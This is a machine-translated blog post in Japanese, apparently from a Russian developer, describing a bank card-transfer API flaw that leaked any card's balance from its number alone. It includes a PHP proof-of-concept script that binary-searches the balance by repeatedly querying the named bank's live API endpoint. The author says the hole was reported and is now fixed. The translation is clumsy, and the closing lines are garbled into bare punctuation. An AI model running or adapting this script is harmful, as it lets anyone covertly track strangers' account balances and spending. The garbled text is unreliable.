UPD3:脆弱性は解決され、バランスは検証されなくなりました。
それはすべて、ある晴れた夜、友人が私に彼にカードにお金を投げるように頼んだという事実から始まりました。 私はいつもインターネットバンクまたはモバイルアプリケーションのいずれかでこのような問題を解決しましたが、最近彼らのインターネットバンクが野生の怪物に変わったので、今回は
card2cardサービスを使用することにしました。
私は落ち着いてフィールドを埋めると、予期しないことが起こります:
待って、送信ボタンをクリックしませんでした! どこから来たの? 金額でプレイすると、カードの実際の金額がチェックされます。
最初は、Ajaxが編集ごとにCVCや有効期限を含むすべてのカードデータをサーバーに送信するのは罪深いことだと思いました。 もちろん、これは嫌なことですが、https-彼らが望むことをさせてください。 私はブラウザのリクエストに行きます:
CVCは送信されません。すでに興味深いです。 しかし、有効期間は送信されますが、少なくともある程度保護されていると思いますが、カードの残高とその場でのAjaxの残高を確認する理由はまだありません。
しかし、それでも、私はまだ興味の底に達していないし、リクエストを編集していません:
おっと 反対側では、送信者のカード番号以外は何もチェックされません。
明らかに、単純なブルートフォース法を使用すると、すべてが問題ない金額を簡単に選択でき、エラーが大きくなります。これがカードの残高になります。 つまり、カード番号のみを知っている(もちろん、情報はあまり公開されていませんが、重要ではありません。多くの人がカード番号を友人に渡し、支払いを受け取るためにインターネットに投稿することさえあります)。 さらに、実験が示しているように、これに影響を与える毎月の制限はありません。
穴は重要ではありませんが、この情報をリアルタイムで入手できるため、すべての費用/補充を追跡できます。これはより深刻です。
すぐに公的に利用可能な郵便で警備員に登録解除されますが、通常の反応はゼロです。
概念実証をすぐにスケッチしました(強く打たないで、私のプログラミングの経験は学校でBASICです)。
内部のPHP<?php
header( 'Content-type: text/html; charset=utf-8' );
$card = $_GET['card'];
$card = preg_replace('/[^0-9]+/', '', $card);
if (strlen($card) != 16) {
exit('<br>Wrong card number: ' . $card);
}
echo 'Probing card ' . $card . '... <br>';
flush();
ob_flush();
sleep(1);
$money = 50000;
$max = 1000000;
$min = 0;
$done = false;
$iter = 0;
while ($done == false) {
if($iter %5 == 0) {
echo 'Still working, please hang on...<br>';
flush();
ob_flush();
sleep(1);
}
$json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=1&fieldagreement=&securityCode=cvc&expiryDate=10/20');
$obj = json_decode($json);
$result = $obj->{'resultCode'};
if ($result == "OK") {
//need to increase
$min = $money;
$money = ($min + $max) /2;
$last_total_money = round($obj->payload->total->value);
} else {
//need to decrease
$max = $money;
$money = ($min + $max) /2;
}
$iter++;
if ((floor($max) - floor($min)) == 0) {
$done = true;
echo '<br><br>Money amount is ' . $last_total_money . ' roubles.';
}
if ($iter > 50) {
exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money);
}
}
?>
. - , , . , , , , .
, , ( ) . .
, - . , .
, , , .